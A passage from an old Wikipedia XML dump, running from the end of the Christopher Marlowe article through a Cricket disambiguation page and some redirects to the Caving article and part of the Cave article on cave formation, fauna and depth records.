Additionally, given the often murky inconsistencies concerning the account of Marlowe's death, an ongoing conspiracy theory and debate continues to give rise to claims that Marlowe may have faked his death and ultimately assumed the pen name of William Shakespeare, authoring much of the known Shakespearean canon and contributing to Cervantes' Don Quixote.  The argument first surfaced in 1895, proferred by American literary sleuth Wilbur Gleason Zeigler, was more famously made popular by Calvin Hoffman in his 1955 work, ''The Murder of the Man Who Was Shakespeare'' [http://www.pbs.org/wgbh/pages/frontline/shows/muchado/readings/hoffman.html], and is further expanded upon in Louis Ule's biography, ''Christopher Marlowe (1564-1607): A Biography''.

==Works==
The dates of composition are approximate.

===Plays===
*''[[Dido, Queen of Carthage]]'' (''c''.1583) (with [[Thomas Nashe]])
*''[[Tamburlaine (play)|Tamburlaine]]'' (''c''.1587)
*''[[The Tragical History of Doctor Faustus|Doctor Faustus]]'' (''c''.1589, revised ''c''.1592)
*''[[The Jew of Malta]]'' (''c''.1589)
*''[[Edward II (play)|Edward II]]'' (''c''.1592)
*''[[The Massacre at Paris]]'' (''c''.1593)

===Poetry===
*Translation of [[Lucan (poet)|Lucan]]'s ''[[Pharsalia]]'' (''c''.1582)
*Translation of [[Ovid]]'s ''[[Amores]]'' (''c''. 1582)
*'[[The Passionate Shepherd to His Love]]' (1590s)
*''[[Hero and Leander]]'' (''c''. 1593, unfinished; completed by George Chapman, 1598)

==Appearances in fiction==
*Marlowe features heavily in the [[Harry Turtledove]] alternate history novel ''[[Ruled Britannia]]'' ([[2002]]), about an [[England]] ruled by [[Catholicism|Catholics]]. He is depicted as a contemporary and friend of [[Shakespeare]].
*Marlowe is played by [[Rupert Everett]] in the film ''[[Shakespeare in Love]]'' ([[1998]]), in which he is depicted as the source of some of Shakespeare's ideas.

==Additional reading==
*Brooke, C.F. Tucker. ''The Life of Marlowe and &quot;The Tragedy of Dido, Queen of Carthage.&quot;'' London: Methuen, 1930. (pp. 107, 114, 99, 98)
*Marlow, Christopher. ''Complete Works.'' Vol. 3: ''Edward II.'' Ed. R. Rowland. Oxford: Clarendon Press, 1994. (pp. xxii-xxiii)
*Louis Ule ''Christopher Marlowe (1564-1607): A Biography'', Carlton Press, 1996.  ISBN 0806250283
*David Bevington and Eric Rasmussen, ''Doctor Faustus and Other Plays'', OUP, 1998; ISBN 0192834452
*J. A. Downie and J. T. Parnell, eds., ''Constructing Christopher Marlowe'', Cambridge 2000. ISBN 052157255X
*Constance Kuriyama,''Christopher Marlowe: A Renaissance Life''. Cornell University Press, 2002. ISBN 0801439787
*Charles Nicholl, ''The Reckoning: The Murder of Christopher Marlowe'', Vintage, 2002 (revised edition) ISBN 0099437473
*Alan Shepard, &quot;Marlowe's Soldiers: Rhetorics of Masculinity in the Age of the Armada&quot;, Ashgate, 2002.  ISBN 075460229
*M. J. Trow, ''Who Killed Kit Marlowe?'', Sutton, 2002; ISBN 0750929634
*[[Anthony Burgess]], ''A Dead Man in Deptford'', Carroll &amp; Graf, 2003. (novel about Marlowe based on the version of events in ''The Reckoning'') ISBN 0786711523
*David Riggs, &quot;The World of Christopher Marlowe&quot;, Henry Holt and Co., 2005 ISBN 0805080368
*Louise Walsh &quot;Tamburlaine Must Die&quot;, novella based around the build up to Marlowe's death.

==External links==
{{wikiquote}}
{{Wikisource author}}
*An [http://search.eb.com/shakespeare/micro/377/43.html article on Marlowe] at Encyclopaedia Britannica's [http://search.eb.com/shakespeare/index2.html Shakespeare and the Globe]
*[http://www.marlowe-society.org The Marlowe Society]
*[http://www.marlovian.com Marlowe Lives!]
*[http://www.perseus.tufts.edu/Texts/Marlowe.html The works of Marlowe at Perseus Project]
*[http://www.classic-literature.co.uk/british-authors/16th-century/christopher-marlowe/ Christopher Marlowe Books]
*{{gutenberg author|id=Christopher_Marlowe|name=Christopher Marlowe}}
*[http://www2.prestel.co.uk/rey/index.htm Peter Farey's Marlowe Page] includes a factual [http://www2.prestel.co.uk/rey/biog.htm biography] and reproduces the documents concerning Marlowe as well as his complete works (but also contains material related to the [[Shakespearean authorship]] question)
*[http://www.masoncode.com/Marlowe%20wrote%20Shakespeare's%20Sonnets.htm Peter Bull] presents a case for Marlowe as the true author of Shakespeare's Sonnets.
*[http://www.nakedtheatre.co.uk/ The Opposite of Showbusiness]: a play by [[Jim Grover (playwright)|Jim Grover]] in which it suggested that Marlowe was killed by [[Edward Alleyn]]

[[Category:1564 births|Marlowe, Christopher]]
[[Category:1593 deaths|Marlowe, Christopher]]
[[Category:Alumni of Corpus Christi College, Cambridge|Marlowe, Christopher]]
[[Category:English Renaissance dramatists|Marlowe, Christopher]]
[[Category:English dramatists and playwrights|Marlowe, Christopher]]
[[Category:English poets|Marlowe, Christopher]]
[[Category:Murdered writers|Marlowe, Christopher]]

[[cs:Christopher Marlowe]]
[[de:Christopher Marlowe]]
[[es:Christopher Marlowe]]
[[eo:Christopher MARLOWE]]
[[fr:Christopher Marlowe]]
[[hr:Christopher Marlowe]]
[[it:Christopher Marlowe]]
[[he:כריסטופר מרלו]]
[[nl:Christopher Marlowe]]
[[pl:Christopher Marlowe]]
[[pt:Christopher Marlowe]]
[[ru:Марло, Кристофер]]</text>
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  </page>
  <page>
    <title>Cricket (disambiguation)</title>
    <id>5772</id>
    <revision>
      <id>36203288</id>
      <timestamp>2006-01-22T09:59:29Z</timestamp>
      <contributor>
        <username>Visor</username>
        <id>261330</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wiktionarypar|cricket}}

'''Cricket''' may refer to

*[[Cricket (insect)]]
*[[Cricket (darts)]]
*[[Cri-cri]], Cricket airplane
*[[Cricket (magazine)]]
*[[Plymouth Cricket]], an automobile
*[[Cricket (software)]], software for monitoring trends in time-series data, using [[RRDtool]]
*[[Cricket St Thomas]], a village in Somerset, England
*''[[Chrz&amp;#261;szcz]]'', Jan Brzechwa's poem translated into English by Walter Whipple and called &quot;Cricket&quot;
*[[The Crickets]], a rock and roll band formed by Buddy Holly
*[[Cricket Communications]]
*[[Cricket (roofing)]]

A '''sport''':
*[[Cricket]], general article
**[[Beach cricket]]
**[[Car cricket]]
**[[Club cricket]]
**[[County cricket]]
**[[French cricket]]
**[[First-class cricket]]
**[[Indoor cricket]]
**[[Kwik cricket]]
**[[List A cricket]]
**[[One-day cricket]]
**[[One-day international|One-day international cricket]]
**[[Short form cricket]]
**[[Test cricket]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Carroll OConnor</title>
    <id>5773</id>
    <revision>
      <id>15903967</id>
      <timestamp>2003-06-14T01:54:42Z</timestamp>
      <contributor>
        <username>Jtdirl</username>
        <id>5511</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Carroll O'Connor]]</text>
    </revision>
  </page>
  <page>
    <title>Cricket/Fielding positions</title>
    <id>5774</id>
    <revision>
      <id>15903968</id>
      <timestamp>2004-10-14T19:50:50Z</timestamp>
      <contributor>
        <username>Jguk 2</username>
        <id>104210</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Fielding (cricket)]]</text>
    </revision>
  </page>
  <page>
    <title>Caving</title>
    <id>5776</id>
    <revision>
      <id>41396718</id>
      <timestamp>2006-02-27T01:30:56Z</timestamp>
      <contributor>
        <ip>136.227.180.43</ip>
      </contributor>
      <comment>/* Cave conservation */</comment>
      <text xml:space="preserve">[[Image:Cave stream New Zealand.jpg|thumb|300px|Inside the cave at Cave Stream, New Zealand]]

'''Caving''' is the recreational [[sport]] of exploring [[cave]]s. 

The challenges of the sport depend on the cave being visited, but often include the negotiation of [[Pitch (vertical space)|pitches]], [[Squeeze (caving)|squeeze]]s, and [[water]]. [[Climbing]] or [[crawling (locomotion)|crawling]] is often necessary, and [[rope]]s are used extensively. 

Caving is often undertaken solely for the enjoyment of the activity or for physical exercise, but original exploration, or physical or biological science is an important goal for many cavers. Unexplored cave systems comprise some of the last unexplored regions on [[Earth]] and much effort is put into trying to locate and enter them. In well-explored regions (such as most first-world countries), the most accessible caves have already been explored, and gaining new caves often requires [[Cave digging|digging]] or [[cave diving|diving]].

Caves have been explored out of necessity for thousands of years, but only in the last century or two has the activity become a sport. In recent decades caving has changed considerably due to the availability of modern protective wear and equipment. It has recently come to be known as an &quot;[[extreme sport]]&quot; by some (though not commonly by its practitioners).

Many of the skills of caving can also be used in the sports of [[mine exploration]] and [[urban exploration]].
[[Image:Cavers-MushroomCave-May04-a.jpg|thumb|right|450px|Caving often involves lots of water, mud, and tight places.]]

==Naming issues==
Clay Perry--an American caver of the 1940s--wrote about a group of men and boys who explored and studied caves throughout [[New England]]. This group referred to themselves as ''spelunkers''. This is regarded as the first use of the word in the [[Americas]]. Throughout the 1950s, ''spelunking'' was the general term used for exploring caves in US English. It was used freely, without any positive or negative connotations, although only rarely outside the US.

In the 1960s, the term &quot;spelunking&quot; began to convey the idea of inexperienced cavers, using unreliable light sources and cotton clothing.  In 1985, [[Steve Knutson]] (editor of ''American Caving Accidents'') made the following distinction:

:''&quot;...Note that I use the term 'spelunker' to denote someone untrained and unknowledgeable in current exploration techniques, and 'caver' for those who are.&quot;''

This sentiment is exemplified by bumper stickers and t-shirts displayed by many cavers: &quot;Cavers rescue spelunkers&quot;. 

''Potholing'' refers to the act of exploring [[pothole]]s, a word originating in the North of [[England]] for predominantly vertical caves. The term is often used as a synonym for caving, and outside the caving world there is a general impression that potholing is a more &quot;extreme&quot; version of caving.

==Practice and equipment==
[[Helmet]]s are worn to protect the head from bumps and falling rocks. The caver's primary light source is usually mounted on the helmet in order to keep the hands free. Electric lights are most common, with [[halogen lamp]]s being standard and white [[LED]]s as the new competing technology. Many cavers wear two sources of light on their helmet - one as primary and the other as a backup light in case the first fails. [[Carbide]]-based systems are still popular, especially on [[expedition]]s. Spare flashlights are often kept, but it is not recommended to use anything bigger than a mini-mag (a very small version of the popular [[Maglite]] flashlight).

The type of [[clothes]] worn underground varies according to the environment of the cave being explored and the local culture. Typically, the caver will wear a warm base layer that retains its insulating properties when wet, such as a [[fleece]] (&quot;furry&quot;) suit or polypropylene underwear, and an oversuit of hard-wearing (e.g., [[cordura]]) and/or waterproof (e.g., [[Polyvinyl chloride|PVC]]) material. [[Wetsuit]]s are worn if the cave is particularly wet, and lighter clothing may be worn in warm countries if the cave is dry. In tropical caves thin polypropylene clothing is used, to provide abrasion protection whilst remaining as cool as possible.

On the feet [[boots]] are worn (such as [[wellies]]), and often [[neoprene]] socks (&quot;wetsocks&quot;). [[Knee]]-pads (and sometimes [[elbow]]-pads) are popular for protecting joints during crawls.  Gloves are almost always worn.

Ropes are used for descending or ascending pitches (&quot;[[Single Rope Technique]]&quot;) or for protection. [[Knot]]s commonly used in caving are the [[figure-of-eight loop|figure-of-eight]]- (or [[figure-of-nine loop|figure-of-nine]]-) loop, [[bowline]], [[alpine butterfly knot|alpine butterfly]], and [[Italian hitch]]. Ropes are usually rigged using [[bolt (climbing)|bolts]], [[sling]]s, and [[carabiner]]s.

Cavers carry packs filled with first-aid kits, food, extra equipment and bathroom supplies.  So-called &quot;pee bottles&quot; are now standard and cavers are expected to carry their waste out with them.  For solid waste, several zip-lock type bags (one inside the other) are used, surrounded by aluminum foil (for aesthetic reasons).  These are affectionally referred to as &quot;cave burritos.&quot;

==Safety==
{{cleanup-date|December 2005}}
Caves can be dangerous places; [[hypothermia]], [[falling]], [[flooding]], and physical [[exhaustion]] are the main risks. Rescue from underground is difficult and time-consuming. Full-scale cave rescues often involve the efforts of dozens of rescue workers, who may themselves be put in jeopardy in effecting the rescue.

Some common-sense rules apply:

* Always check to be sure there is no danger of flooding while you plan to be in the cave.  Rainwater funneled underground can flood a cave very quickly while the surface remains clear. Factors which can influence the risk of flood include the regional rain forecast, as well as how much rain has already recently fallen in the region: if the ground is already soaked, additional rainfall will be piped much more quickly into the cave.
* Use teams of at least three cavers &amp;ndash; four or more are best. Caving alone is particularly risky.
* Always make sure someone on the surface knows where you are caving, when to expect you, and how to contact cave rescue services if you fail to return on time.
* Use a decent light that will last long enough for the trip and a backup that will be sufficient to get you out of the cave. American cavers always recommend a minimum of three independent sources of light per person, but two lights is common practice amongst European cavers.
* Sturdy clothing and footwear, as well as a [[helmet]], are necessary to reduce the impact of abrasions, caver falls, and falling objects. Synthetic fibers and woolens, which shed water, are vastly preferred to cotton materials, which retain water and increase the risk of hypothermia. It is also helpful to have several layers of clothing, which can be shed (and stored in the pack) or added as needed.  In watery cave passages, partial or full wetsuits reduce the risk of hypothermia.
* For trips of more than a short duration, it is best to carry food. A combination of quickly metabolized foods (such as fruit or sweets) and slowly metabolized foods (such as vegetable soup) is best.
* Beginning cavers should be accompanied by experienced cavers with proper respect for these safety considerations. An established caving group is a welcoming environment to meet experienced cavers, and to find out about cave trips opportunities matching the skills of the newcomer. (See &quot;Caving around the world&quot; below for links to different caving organizations.)
* Cave passages look different from different directions. In long or complex caves, even experienced cavers become lost. To reduce the risk of becoming lost, it is necessary to memorize the appearance of key navigational points in the cave as they are passed by the exploring party. Each member of a cave party shares responsibility for being able to remember the route out of the cave. In some caves it may be acceptable to mark a small number of key junctions with small stacks or &quot;cairns&quot; of rocks, or to leave a non-permanent mark such as high-visibility flagging tape tied to a projection.
* Remember that you normally have to get back out the way you came in, and going back up is harder work than coming down. Turn back before you get too tired to get out. When dealing with inexperienced cavers the leader is responsible for deciding whether a trip is suitable and how far they should go before coming back out.
* Vertical caving involves ladders or SRT ([[Single Rope Technique]]). SRT is a complex skill and requires proper training before trying it underground.

==Cave conservation==
{{cleanup-date|December 2005}}
[[Image:Alabama_cave_2005-04-24.km.jpg|thumb|300px|right|A vertical cave in Alabama, USA]]
The cave environment is more fragile than most people realize.  And, since water that flows through a cave eventually comes out in streams and rivers, any pollution will wind up in someone's drinking water and can seriously affect the surface environment as well.

Cave-dwelling species are most fragile, and a particular species found in a cave may have lived within that cave alone, and be found nowhere else in the world. Cave-dwelling species are accustomed to a near-constant climate of temperature and humidity, and any disturbance can be disruptive to the species' life cycles. You may not even be able to see wildlife in the cave, but it is present in most caves.

[[Bat]]s are one such fragile species of cave-dwelling animal. Despite their scary reputation in fiction and in the movies, bats have much more to fear from us than we do from them. Bats are friends to humans in many ways, including their important ecological role in reducing insect pest populations, and in the pollenization of plant species. Bats are most vulnerable during the winter [[hibernation]] season, when no food supply exists on the surface to replenish the bat's store of energy should it be awakened from hibernation. If you plan to visit to a cave where bats are known to hibernate, consider scheduling your trip during the warmer months when bats are less vulnerable. Be respectful of bats when you encounter them. They are sensitive to both [[light]] and [[sound]].

It is best to educate oneself on the contents found within the caves one explores. Consider contacting the biology department of a university located in the cave region or contact the [[National Speleological Society]] and learn more about [[cave conservation and protection]] as well as [[karst]] resources.

Some cave passages may be marked with [[flagging tape]] or other indicators to show biologically, aesthetically, or archaeologically sensitive areas. Please respect these markings, and the judgement of those who placed them there, and stay on indicated trails through such passages. A beautiful floor of [[sand]] or [[silt]] may be thousands of years old, dating from the last time water flowed through the cave. Such deposits may be spoiled forever by a single mis-step. Active formations such as [[flowstone]] can be similarly despoiled with a muddy footprint or handprint. Ancient human artifacts, such as fibre products, can crumble to dust under the touch of any but the most careful archaeologist.

Organized cave groups often sponsor volunteer efforts to educate the public, and to help preserve or conserve underground wilderness. If you enjoy caving, seriously consider donations of time, money, and/or talent to these efforts.

The caver's motto:  ''Take nothing but pictures. Leave nothing but footprints. Kill nothing but time. What we have now is all there will ever be.''

==Caving organizations==
===Canada===
[http://www.cancaver.ca/ Caving Canada] There is no national caving organization in Canada, despite the existence of a national publication (''the Canadian Caver'', started in 1968). Regional organizations exist in British Columbia and Quebec, and caving clubs exist in most of the provinces.

===Greece===
[http://www.zenas.gr/ SPILAIO] A greek caving portal site providing RSS Feeds with caving related news in Greek and English.

The [http://www.fhs.gr/ Hellenic Speleological Federation] is a national organisation with many caving clubs as members.

===Jamaica===
The Jamaican Caves Organisation ([http://www.jamaicancaves.org/ JCO]) carries out speleological research and exploration on the island. 

===New Zealand===
The [http://www.massey.ac.nz/~sglasgow/nzss/ New Zealand Speleological Society] is a national organisation with local clubs that represents the recreational caves. 

===Ireland===
The [http://www.cavingireland.org/SUI/Whatissui.htm Speleological Union of Ireland] is the official representative body for cavers in Ireland. It is also affiliated with the [http://www.cavingireland.org/ICRO/Whatisicro.htm Irish Cave Rescue Organisation] which operates in both the Republic Of Ireland and Northern Ireland.

===United Kingdom===
The [http://www.british-caving.org.uk British Caving Association] is the Governing body for Underground Exploration in the United Kingdom. It represents all those persons and groups with a genuine interest in caves, karst and associated phenomena, whether from a strictly sporting viewpoint, a scientific viewpoint, or a combination of both. The [http://bcra.org.uk/ British Cave Research Association]is a constituent body of [http://www.british-caving.org.uk British Caving Association] and promotes the study of caves and associated phenomena. The association encourages original exploration, collects and publishes speleological information, and organises education events.

===United States===
[http://www.caves.org/committee/conservation Conservation Division of the NSS] Preserving and protecting caves and karst for cavers, scientific research, and the general public is one of the most important goals of the NSS. 

[http://www.caves.org/section/ccms/ Cave Conservation and Management Section of the National Speleological Society] The Conservation and Management Section provides a central clearinghouse for information, expertise and research in the field of cave conservation and management.

[http://www.webwhisper.com/tcs/default.html Tennessee Cave Survey] (TCS) TCS members are volunteers who are dedicated to the discovery, exploration, survey and mapping of the caves in Tennessee.

The [[Cave Research Foundation]] (CRF) is an American private, non-profit group dedicated to the exploration, research, and conservation of caves.

The [[United States]] the [http://www.caves.org National Speleological Society] or NSS is a national organisation with local chapters (known as ''grottos''). It has the goals ''... to study, explore, and conserve cave and karst resources; protect access to caves; encourage responsible management of caves and their unique environments; and promote responsible caving.''  The NSS maintains a discussion board that is open to anyone to discuss caving and cave issues.  It is [http://caves.org/phpBB2/]

The [http://www.scci.org Southeastern Cave Conservancy] (SCCi) act to protect cave resources and access to caves in the Southeastern US thorough leases, agreements and outright purchase.

The [http://caves.org/region/sera/ Southeastern Regional Association] (SERA) is a Southeastern USA regional organization. 

[http://www.uscaversforum.com U.S. CAVERS FORUM] (USA) (Cave Chat) Features multiple cave discussion boards pertaining to cave gear, cave trips, cave photography, cave information, cave news, cave conservation, the study of speleology and more!

The [http://www.caves.org/grotto/wvg/index Northwest USA] Caving Information
and links to caving organizations for Washington, Oregon, and Northern Calif.

==Notable cave explorers==
*'''[[Stephen Bishop (cave explorer)|Bishop, Stephen]]''' (USA) Early (~1830s) explorer of Mammoth Cave, Kentucky.
*'''Boegli, Alfred''' (Switzerland) Explorer of [[Hoelloch]], Switzerland.
*'''[[Cave Research Foundation | Brucker, Roger]]''' (USA) Explorer and historian of Mammoth Cave, Kentucky.
*'''[[Floyd Collins|Collins, Floyd]]''' (USA) Early explorer (~1920s) of Mammoth Cave, Kentucky.
*'''Conn, Herb''' (USA) Explorer and Surveyor of Jewel Cave, South Dakota.
*'''Conn, Jan''' (USA) Explorer and Surveyor of Jewel Cave, South Dakota.
*'''Coons, Donald''' (USA) Prominent American caver involved with numerous international caving projects. Major discoveries in Big Island, Hawaii and Mammoth Cave, Kentucky region.
*'''Cornes, George''' (UK) Discovered [[Lancaster Hole]] with Bill Taylor in 1946
*'''[[Eavis, Andrew]]''' (UK) British caver, President of the International Union of Speleology [[UIS]]). Discoverer of the three largest chambers in the world. Involved with numerous international caving projects. Major discoveries in Saravak, Borneo and in China.  
*'''[[Sheck Exley|Exley, Sheck]]''' (USA) Pioneering Cave Diver.
*'''[[George Irvine|Irvine, George]]''' (USA) Pioneering cave diver and head of [[Woodville Karst Plain Project]].
*'''[[Jarrod Jablonski|Jablonski, Jarrod]]''' (USA) Pioneering cave diver and head of [[Global Underwater Explorers]].
*'''[[Martyn Farr|Farr, Martyn]]''' (UK) Made major advances in systems such as [[Ogof y Daren Cilau]], and pioneering cave diver, pushing exploration in [[Wookey Hole]], [[Dan yr Ogof]], and others
*'''[[Cave Research Foundation | Kambesis, Patricia]]''' (USA) Prominent American cave surveyor. Involved with numerous international caving projects. Major discoveries in Big Island, Hawaii, and Lechuguilla Cave, New Mexico.
*'''Klimchouk, Alexander''' (Russia) Prominent cave explorer in Russia and eastern bloc countries. Involved with deep exploration efforts in Poland.
*'''[[Edouard Martel|Martel, Édouard-Alfred]]''' (France) Pioneering French cave scientist and explorer. Often credited as the father of speleology.
*'''Quick, Peter''' (USA) Lead explorer involved with the Fisher Ridge Cave System, Kentucky.
*'''Stone, William''' (USA) Pioneering cave diver and prominent explorer of southern Mexico's deep cave systems.
*'''Smith, Marion O.''' (USA) Tennessee Alabama Georgia (TAG) civil war historian who has explored more than 5000 different caves and dropped more than 4000 pits which are all documented in great detail in his journals.
*'''Warild, Al ''' (Aus) Promient Australian cave explorer who has explored caves in Mexico, New Guinea, Europe and many other countries. Outstanding vertical caver and climber.
*'''Waters, Shelah ''' (USA) Early Tennessee cave explorer. Shelah Waters explored  Higgenbotham Cave in 1869. Today Higgenbotham Cave is known as Cumberland Caverns.

==See also==
* [[Speleology]]
* [[List of Caves]]
* [[Cave rescue]]
* [[Claustrophilia]]
* [[Cave Conservation]]

==Bibliography==
* ''Alpine Caving Techniques'' by Marbach and Tourtes ISBN 3908495105: widely considered to be the bible of caving techniques, particularly by European cavers

==External links==
* Australian Speleological Federation: http://www.caves.org.au/
* British Cave Research Association (UK): http://bcra.org.uk/
* British Caving Association (UK): http://british-caving.org.uk/
* Cave Conservation and Management Section of the NSS http://www.caves.org/section/ccms/ 
* Canadian Cave and Karst Information Server  http://www.cancaver.ca
* Conservation Division of the NSS  http://www.caves.org/committee/conservation/
* Glossary of Caving Terms: http://werple.net.au/~gnb/caving/glossary/
* Hellenic Speleological Federation (GR) http://www.fhs.gr/eng/news/news.php
* Malaysian Caves : http://www.cavesofmalaysia.com
* National Speleological Society (USA): http://www.caves.org/
* Southeastern Cave Conservancy, Inc.(USA) : http://www.scci.org
* Southeastern Regional Association (SERA)(USA): http://caves.org/region/sera/
* Speleological Union of Ireland &amp; Irish Cave Rescue Organisation: http://www.cavingireland.org/
* Tennessee Alabama Georgia &quot;TAG&quot; Caving : http://www.tagcaving.com/tagcave.html
* U.S. CAVERS FORUM: http://www.uscaversforum.com
* French Speleological Federation: http://ffspeleo.fr/
* Europe Speleological Federation: http://www.fsue.org/

[[Category:Adventure sports]]
[[Category:Extreme sports]]
[[Category:Water sports]]
[[Category:Caving|*]]

[[ca:Espeleologia]]
[[de:Speläologie]]
[[eo:Speleologio]]
[[fa:&amp;#1594;&amp;#1575;&amp;#1585;&amp;#1606;&amp;#1608;&amp;#1585;&amp;#1583;&amp;#1740;]]
[[fr:Spéléologie]]
[[id:Caving]]
[[hu:Barlangászás]]
[[nl:Speleologie]]
[[el:Σπηλαιολογία]]</text>
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    <title>Caves</title>
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      <timestamp>2005-11-17T00:08:43Z</timestamp>
      <contributor>
        <username>Aquillion</username>
        <id>106922</id>
      </contributor>
      <comment>#REDIRECT [[Cave]].  Sorry, Portland, OR band.</comment>
      <text xml:space="preserve">#REDIRECT [[Cave]]</text>
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  <page>
    <title>Cave</title>
    <id>5778</id>
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      <id>41212210</id>
      <timestamp>2006-02-25T20:45:59Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.5.137.162|66.5.137.162]] ([[User talk:66.5.137.162|talk]]) to last version by RJP</comment>
      <text xml:space="preserve">''Alternate meanings: [[Cave (disambiguation)]]''

''This article is about natural ''caves''; for artificial ''caves'' used as dwellings, such as those in north [[China]], see [[yaodong]].''

[[image:Lavacaveexit.jpg|thumb|300px|The outside world viewed from a cave]]
A '''cave''' is a natural underground void large enough for an adult human to enter. Some scientists stipulate that it must be large enough that some portion of it will not receive daylight; however, in popular usage, the term includes smaller spaces like cliff cavities, rock shelters and sea caves. [[Speleology]] is the scientific exploration and study of all aspects of caves. The act of exploring a cave for recreation is called '[[caving]]', 'potholing', or occasionally (only in the USA) '[[spelunking]]'.

==Types and formation==
Caves are formed by [[geology|geologic]] processes. These may involve a combination of chemical processes, tectonic forces and atmospheric influences.  

===Primary caves===
Some caves are formed at the same time as the surrounding rock. These are called ''primary caves''.
[[image:Lava tube at Craters of the Moon NM-750px.JPG|thumb|300px|Lava tube cave at [[Craters of the Moon National Monument and Preserve|Craters of the Moon]].]]
*[[Lava tube]]s are formed through [[volcanic]] activity. They are the most common primary caves. [[Lava]] flows downhill and the surface cools and solidifies. The lava now flows under this crust, until the eruption ends. If the liquid lava inside the crust flows out, a hollow tube remains. 
The most important lava tubes are found on [[Hawaii]] ([[Hawaii (island)|Big Island]]). [[Kazumura Cave]] near [[Hilo]] is the longest and deepest lava tube of the world and also the eighth longest cave of the United States.
*[[Blister cave]]s are also formed through volcanic activity.

===Secondary caves===
''Secondary caves'' are formed inside the rock after the rock itself has formed by processes which removes material such as [[solution]] and [[erosion]].

* ''Sea caves'' are very common at all coasts of the world, but as they are restricted to the zone where waves work on the rocks of the coast they are generally rather small. 

[[Image:Ice cave.jpg|300px|right|thumb|Glacier cave in Big Four Glacier, [[Big Four Mountain]], [[Washington]], ca. [[1920]].]]
* ''Glacier caves'' occur in and under [[glacier]]s, formed by melting. They are also influenced by the very slow flow of the ice which tends to close the caves again. (These are sometimes called ''ice caves'', though this term is properly reserved for caves which contain year-round ice formations).

*''Solutional caves'' may form anywhere with rock which is soluble, and are most prevalent in [[limestone]], but can also form in other material, including [[chalk]], [[dolomite]], [[marble]], [[loess]], [[ice]], [[granite]], [[salt]], [[lava]], [[sandstone]], and [[gypsum]].  The most common process of cave formation is karstification, which is the solution of rocks by rain water.
**''Fracture caves'' are formed when layers of more soluble minerals such as gypsum dissolve out from between layers of less soluble rock. These rocks fracture and collapse in blocks.
*''Talus caves'' are the openings between rocks that have fallen down into a pile, often at the bases of cliffs.

Cave formation in limestone occurs because limestone dissolves under the action of rainwater and [[groundwater]] charged with CO&lt;sub&gt;2&lt;/sub&gt; ([[carbonic acid]]) and naturally occurring [[organic acid]]s. The dissolution process produces a distinctive landform known as [[karst]] and characterized by [[sinkhole]]s, [[sinking stream]]s, and underground drainage.

Limestone solution is an important process in cave formation and the origin of the great majority of all caves on Earth. The reasons for this abundance are the facts that limestone is so common and the slowness of the solution process. If it were faster, the lifespan of limestone caves would be much shorter and their number much lower.

[[Image:HallOfTheMountainKings.jpg|thumb|300px|right|[[Speleothem]]s in Hall of the Mountain Kings, [[Ogof Craig a Ffynnon]], [[South Wales]].]]
Limestone caves are often adorned with calcium carbonate formations produced through slow precipitation, including the most common and well-known  [[stalactite]]s and [[stalagmite]]s. These secondary mineral deposits in caves are called [[speleothem]]s. The world's most spectacularly decorated cave is generally regarded to be [[Lechuguilla Cave]] ([[New Mexico]], [[United States|USA]]).

Lechuguilla and nearby [[Carlsbad Caverns]] are now believed to be examples of another type of solutional cave. They were formed by acid rising from below, where reservoirs of oil give off sulfurous fumes, rather than by acidic water percolating from the surface.

==Distribution==
Caves are sparse in [[South America]], [[Africa]], and [[Antarctica]], but are found widely in [[Europe]], [[Asia]], and [[North America]]. 

The distribution of cave systems so far discovered is widely skewed toward countries where [[caving]] is popular (such as the [[United States]], [[France]], [[Italy]], the [[United Kingdom|UK]] etc.). It is likely that many more systems remain to be discovered, especially in [[China]], which, despite containing around half the world's exposed limestone - more than 1,000,000 km&lt;sup&gt;2&lt;/sup&gt; - has hardly been explored underground.
[[Image:Seneca_Caverns.jpg|thumb|right|250px|Fracture blocks in Seneca Caverns, Ohio, USA]]

== Inhabitants ==
Cave inhabiting animals can be categorized as [[troglobite]]s (cave limited-species), [[troglophile]]s (species which can live their entire lives in caves, but also occur in other environments), [[trogloxene]]s (species which utilize caves, but must leave the caves to complete their life cycle) and accidentals.  Some authors use separate terminology for aquatic forms (i.e., [[stygobite]]s, [[stygophile]]s, [[stygoxene]]s).

Of these animals, the troglobites are among the most extraordinary of organisms.  Troglobitic species often show a suite of characters, termed troglomorphies, associated with their adaptation to subterranean life.  Among these characters are a loss of pigment (often resulting in a pale or white coloration), loss of eyes (or at least of optical functionality), elongation of appendages, and an enhancement of other senses (such as ability to sense vibrations in water).  Aquatic troglobites (or stygobites), such as the endangered [[Alabama cave shrimp]], live in bodies of water found in the caves and are fed by detritus washed into the caves, and by the feces of bats and other cave inhabitants.

[[Bat]]s, like the [[Gray bat]] and [[Mexican Free-tailed Bat]], are trogloxenes, and are commonly found in caves, but forage outside of the caves.  Some species of [[Cave Cricket|cave cricket]]s are classified as trogloxenes, as they roost in caves by day and forage above ground at night.

Because of the fragile nature of the cave ecosytem, and the fact that cave regions tend to be isolated from one another, caves harbor a number of [[endangered species]], such as, for example the [[Tooth cave spider]], [[Liphistiidae]] Liphistius trapdoor spider and the [[Gray bat]].

Caves are visited by many surface-loving animals, including humans.  These are usually relatively short-lived incursions, due to the lack of light and sustenance.

Some tropical caves of southeast Asia are rich in  [http://www.cavesofmalaysia.com/photopage1.htm cave fauna] and some even have [http://www.cavesofmalaysia.com/photopage2.htm cave flora]

==Records==
Since new caves are continually being explored, the various records of cave dimensions need to be updated fairly frequently.

The system with the greatest (by some distance) total length of passage is [[Mammoth Cave]] ([[Kentucky]], [[United States|USA]]) at 579km in length. This record is unlikely to be surpassed in the near future as the next most extensive known cave is the [[Pechera Optymistychna|Optymistychna]] system in [[Ukraine]], at 214km.

[[As of 2005]], the deepest known cave (measured from its highest entrance to its lowest point) is [[Voronya Cave]] ([[Abkhazia]], [[Georgia (country)|Georgia]]), with a depth of 2,140m. This was the first cave to be explored to a depth of more than 2km. (The first cave to be descended below 1km was the famous [[Gouffre Berger]] in [[France]]). The [[Gouffre Mirolda]] - [[Lucien Bouclier]] cave in [[France]] (1733m) and the [[Lamprechtsofen Vogelschacht]] Weg Schacht in [[Austria]] (1632m) are the current second and third deepest caves. This particular record has changed several times in recent years.

